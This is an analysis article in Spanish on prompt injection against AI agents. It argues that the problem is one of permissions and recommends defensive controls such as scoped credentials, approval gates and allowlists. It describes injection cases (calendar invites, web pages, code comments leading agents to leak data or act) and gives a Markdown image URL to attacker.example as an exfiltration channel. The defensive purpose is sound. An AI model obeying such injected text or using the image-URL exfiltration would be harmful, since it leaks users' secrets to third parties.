Análisis: la inyección de instrucciones es un problema de permisos, y tratarla como un problema de formulación explica por qué sigue funcionando
Tres años de medidas de mitigación no han cerrado la brecha, porque esta no reside en la redacción. Un modelo práctico de dónde radica realmente la seguridad de los agentes y de cómo es un despliegue defendible.
Respuesta rápida
¿Por qué no puede solucionarse la inyección de instrucciones y qué deberían hacer los equipos en su lugar?
Un modelo de lenguaje no puede distinguir de forma fiable entre instrucciones y datos, porque ambos llegan como un mismo flujo de tokens. Se trata de una propiedad arquitectónica, no de un fallo de un modelo concreto, por lo que ninguna instrucción de sistema basta para subsanarla. Los despliegues defendibles consideran potencialmente hostil toda entrada que lee un agente y limitan lo que este puede hacer: herramientas con ámbitos de actuación restringidos, credenciales específicas para cada sesión, aprobación humana para acciones irreversibles y límites a las conexiones salientes que hagan que una inyección exitosa tenga un coste reducido en lugar de consecuencias catastróficas.
Claves
- Las instrucciones y los datos comparten un mismo canal en un modelo de lenguaje. Ninguna técnica de ingeniería de prompts crea una frontera que el modelo pueda mantener de manera fiable.
- La inyección solo importa cuando el modelo puede actuar. La gravedad de cualquier inyección depende de las herramientas conectadas, no del texto que la desencadenó.
- La pregunta de diseño útil no es si algo puede sufrir una inyección, sino qué es lo peor que este agente puede hacer en un solo turno y quién lo autorizó.
- Los clasificadores de detección reducen el volumen, no la categoría de riesgo. Hay que prepararse para el caso de que uno logre pasar, porque a gran escala alguno lo hará.
- Los controles más eficaces son los menos llamativos: credenciales de alcance limitado, destinos incluidos en listas de permitidos y mecanismos de aprobación para las operaciones de escritura.
Cada pocos meses circula una nueva demostración: una invitación de calendario que hace que un asistente reenvíe un buzón de correo, una página web que hace que un agente de navegación filtre un token de sesión, un comentario de código que hace que un agente de repositorio abra una solicitud de extracción que nadie pidió. Las demostraciones cambian. La reacción, casi nunca — alguien propone un system prompt más firme, alguien más propone un clasificador, y el sector sigue adelante hasta la próxima vez.
El patrón se repite porque el problema está mal clasificado. La inyección de prompts se discute como un problema de filtrado de contenido cuando en realidad es un problema de autorización, y los problemas de autorización no se resuelven con una redacción mejor.
Por qué la frontera no existe
Un modelo de lenguaje recibe una sola secuencia. El system prompt, el mensaje del usuario, el contenido de un documento recuperado, la salida de una llamada a una herramienta y el texto de una página web llegan todos como tokens dentro de esa secuencia. El modelo está entrenado para seguir las instrucciones que encuentra en esa secuencia. No dispone de un canal separado y privilegiado por el que llegue la intención del operador, ni de ningún mecanismo que marque determinados fragmentos como inertes.
Eso es todo. Los ingenieros de software tienen una intuición sobre esta forma gracias a la inyección SQL, y la analogía es útil justo hasta el punto en que se rompe. La inyección SQL se resolvió con las sentencias preparadas: la base de datos obtuvo una forma de recibir la estructura de la consulta y los valores de los parámetros por canales distintos, de modo que ninguna astucia en el valor podía alterar la estructura. No existe una sentencia preparada para un modelo de lenguaje. Nadie ha lanzado un mecanismo general que permita a un modelo recibir instrucciones y datos por separado y que se pueda confiar en que respetará esa distinción.
Los delimitadores no crean ese mecanismo. Marcar el contenido no confiable con etiquetas, hashes o separadores inusuales ayuda contra los intentos poco sofisticados, y conviene hacerlo. Pero el marcador es en sí mismo texto dentro del mismo flujo, y una instrucción suficientemente directa colocada dentro de la región marcada puede seguir siendo obedecida, sobre todo cuando es más específica y más reciente que la instrucción defensiva general que la precede.
La inyección sin capacidad es una curiosidad
Aquí está el replanteamiento que cambia las decisiones de diseño. Una instrucción inyectada solo resulta interesante si el modelo puede hacer algo como consecuencia.
Un modelo que lee una página web hostil y produce texto ha sido inducido a decir algo erróneo. Eso es un problema de calidad — real, pero acotado. Ese mismo modelo con una herramienta de envío de correo, un cliente HTTP y un token OAuth duradero es un sistema distinto: la página hostil se convierte ahora en una vía de ejecución remota de código hacia todo aquello a lo que esas credenciales dan acceso.
Así que la gravedad de una inyección no es una propiedad del texto. Es una propiedad de la superficie de herramientas conectada al modelo en el momento en que lee ese texto. Dos despliegues del mismo modelo, con el mismo system prompt y las mismas defensas, pueden diferir en varios órdenes de magnitud en el peor de los casos simplemente porque uno de ellos tiene un token con permisos de escritura dentro del bucle.
Por eso cuán inyectable es nuestro prompt es la métrica equivocada, y cuál es lo peor que este agente puede hacer en un solo turno es la correcta. La segunda pregunta tiene una respuesta que se puede poner por escrito, entregar a un revisor de seguridad y someter a prueba.
El patrón que sigue provocando brechas
Casi todos los escenarios con forma de incidente grave comparten los mismos tres ingredientes:
- Una entrada no confiable llega al modelo. Cuerpos de correo electrónico, páginas web, PDF, sistemas de gestión de incidencias, invitaciones de calendario, comentarios de código, nombres de archivo, salidas de OCR, transcripciones. Cualquier cosa en la que un tercero pueda escribir.
- El modelo posee una credencial duradera y amplia. Un token de API de larga duración, una cuenta de servicio, una cookie de sesión, una clave SSH montada en el entorno aislado.
- Existe una vía de salida. Un cliente HTTP, una herramienta de correo, un webhook, un git push, o simplemente una URL de imagen que el renderizador recuperará.
Eliminar cualquiera de los tres hace que los ataques interesantes sean mucho más difíciles. Esa es la verdadera palanca de diseño, y está disponible hoy sin necesidad de esperar a un modelo que resista la inyección.
El tercer ingrediente merece especial atención porque suele ser invisible. La renderización de imágenes en Markdown es un canal de exfiltración: un agente que emite una etiqueta de imagen que apunta a https://attacker.example/?d=SECRET en una superficie que renderiza imágenes ha realizado una solicitud saliente con contenido elegido por el atacante, sin necesidad de ninguna llamada a herramienta. Los equipos que restringen cuidadosamente su herramienta HTTP mediante una lista blanca y luego renderizan la salida del agente como markdown enriquecido han dejado la puerta trasera abierta.
Controles que realmente cambian la clase de riesgo
El orden aquí es deliberado. Los controles estructurales baratos hacen más que los sofisticados controles estadísticos.
Limitar el alcance de la credencial a la tarea, no al agente. El token que posee un agente mientras resume los tickets de un cliente no debería poder leer los tickets de otro cliente. Esto es el principio de mínimo privilegio de siempre, aplicado por sesión en lugar de por servicio. Es el control de mayor impacto, porque convierte el atacante llegó a nuestros datos en el atacante llegó a los datos de los que ya trataba esta solicitud.
Poner una barrera de control en las acciones irreversibles y salientes. Las lecturas normalmente pueden ser automáticas. Las escrituras, los envíos, los pagos, las eliminaciones, las fusiones y las publicaciones externas son donde una confirmación humana justifica su coste. La barrera debe presentar lo que va a suceder, no que algo va a suceder — un cuadro de aprobación que diga "el agente quiere usar la herramienta de correo" entrena a la gente a hacer clic en sí. Uno que nombre al destinatario y muestre el cuerpo del mensaje, no.
Aplicar listas blancas a los destinos, no solo a las herramientas. Una herramienta de recuperación web restringida a un conjunto de hosts conocidos es un objeto sustancialmente distinto de una herramienta de recuperación web que puede alcanzar cualquier URL. Lo mismo se aplica a los destinatarios de correo, los destinos de webhooks y los remotos de git.
Separar la planificación de la actuación cuando lo que está en juego lo justifique. Un patrón habitual es una disposición de dos modelos: uno lee el material no confiable y produce un resumen estructurado sin capacidad de llamar a herramientas, y un segundo modelo — que nunca ve el texto sin procesar no confiable — actúa a partir de esa salida estructurada. Esto no elimina la inyección, porque el resumen puede transportar una carga útil, pero un esquema restringido es un canal mucho más estrecho que el texto libre.
Registrar la procedencia de cada instrucción que condujo a una acción. Cuando algo sale mal, la pregunta qué documento hizo que el agente hiciera esto necesita una respuesta que no requiera reconstruir una sesión de memoria.
Después, añadir los clasificadores. Los detectores de inyección, los escáneres de salida y las reglas de anomalías merecen desplegarse. Reducen el volumen. Hay que tratarlos como lo que son: filtros estadísticos sobre una distribución de entrada adversarial, útiles para reducir el ruido, nunca decisivos para una capacidad peligrosa.
Qué significa esto para el diseño de herramientas
El auge de las interfaces de herramientas estándar — el Model Context Protocol entre ellas — ha facilitado conectar capacidades a un agente. Esa facilidad es el riesgo. Un catálogo de conectores donde cada entrada se activa con un solo clic hace que la superficie de herramientas crezca más rápido que el modelo de amenazas de cualquiera.
Dos hábitos ayudan. Primero, las herramientas deben ser verbos estrechos, no APIs amplias. Una herramienta refund_order que toma un identificador de pedido y un importe, con un tope aplicado en el servidor, es un objeto más seguro que una herramienta genérica call_internal_api que toma un método, una ruta y un cuerpo — aunque la segunda sea más flexible y mucho más fácil de escribir. Esa flexibilidad es precisamente lo que aprovecha una instrucción inyectada.
Segundo, la capacidad destructiva debe residir detrás de una política que el modelo no pueda rebatir. Si el límite de reembolso se aplica en la implementación de la herramienta, el razonamiento del modelo sobre si un reembolso está justificado no puede superarlo. Si el límite está descrito en el system prompt, sí puede.
La parte incómoda
No existe ninguna versión de este análisis que termine con el problema resuelto. La investigación sobre jerarquías de instrucciones, sobre el entrenamiento de modelos para priorizar el texto a nivel de sistema y sobre la separación arquitectónica de canales es real y está progresando, y un modelo que resista la inyección de forma sustancialmente mejor que los actuales sería genuinamente valioso. Pero sustancialmente mejor no es lo mismo que seguro para conectarlo a credenciales de producción, y las posturas de seguridad no deberían construirse sobre una capacidad que aún no se ha lanzado.
La postura práctica es la que la ingeniería de seguridad ha adoptado siempre ante la entrada no confiable: asumir que se cuela, y asegurarse de que, cuando lo haga, el daño quede acotado por algo distinto al juicio del modelo. Cada control de este artículo está disponible ahora, ninguno de ellos requiere un modelo nuevo, y juntos convierten toda una clase de incidentes de catastróficos en molestos.
Ese es un techo más bajo que resuelto. También es la diferencia entre un agente que se puede desplegar y uno que solo se puede hacer de demostración.
Preguntas frecuentes
- ¿Es la inyección de prompts lo mismo que el jailbreaking?
- No. El jailbreaking consiste en que el usuario de un sistema intenta hacer que el modelo ignore sus propias políticas. La inyección de prompts consiste en que un tercero introduce instrucciones en el contenido que lee el modelo; por tanto, el atacante no es el usuario y este suele ser la víctima.
- ¿Puede impedirlo un prompt del sistema mejor diseñado?
- Eleva el coste de un ataque y frena los intentos poco elaborados. No crea una frontera, porque para el modelo la instrucción defensiva y la instrucción atacante son el mismo tipo de objeto, y el texto posterior o más específico suele imponerse.
- ¿Resuelven el problema los clasificadores de seguridad?
- Reducen el volumen de intentos exitosos, algo que merece la pena hacer. Son filtros estadísticos aplicados a un espacio de entradas adversarias, por lo que deben considerarse un mecanismo de reducción del ruido y nunca el control que convierte en segura una capacidad peligrosa.
- ¿Qué diseños de agentes están más expuestos?
- Cualquier agente que lea contenido no fiable y disponga de una credencial persistente y de amplio alcance. Los asistentes de correo electrónico, los agentes de navegación, los bots de clasificación de incidencias y los agentes de repositorios son los casos clásicos, porque consumen texto que los atacantes pueden modificar y pueden actuar sobre sistemas de registro.
- ¿Cuál es el control individual de mayor valor?
- Reducir el radio de impacto de un solo turno: una credencial que únicamente permita acceder a los recursos necesarios para esta tarea y un mecanismo estricto de aprobación para cualquier acción irreversible o dirigida al exterior.
Fuentes
- OWASP Top 10 for LLM Applications — OWASP
- AI Risk Management Framework — NIST
- Model Context Protocol — specification — Model Context Protocol
- Regulation (EU) 2024/1689 — Artificial Intelligence Act — Official Journal of the European Union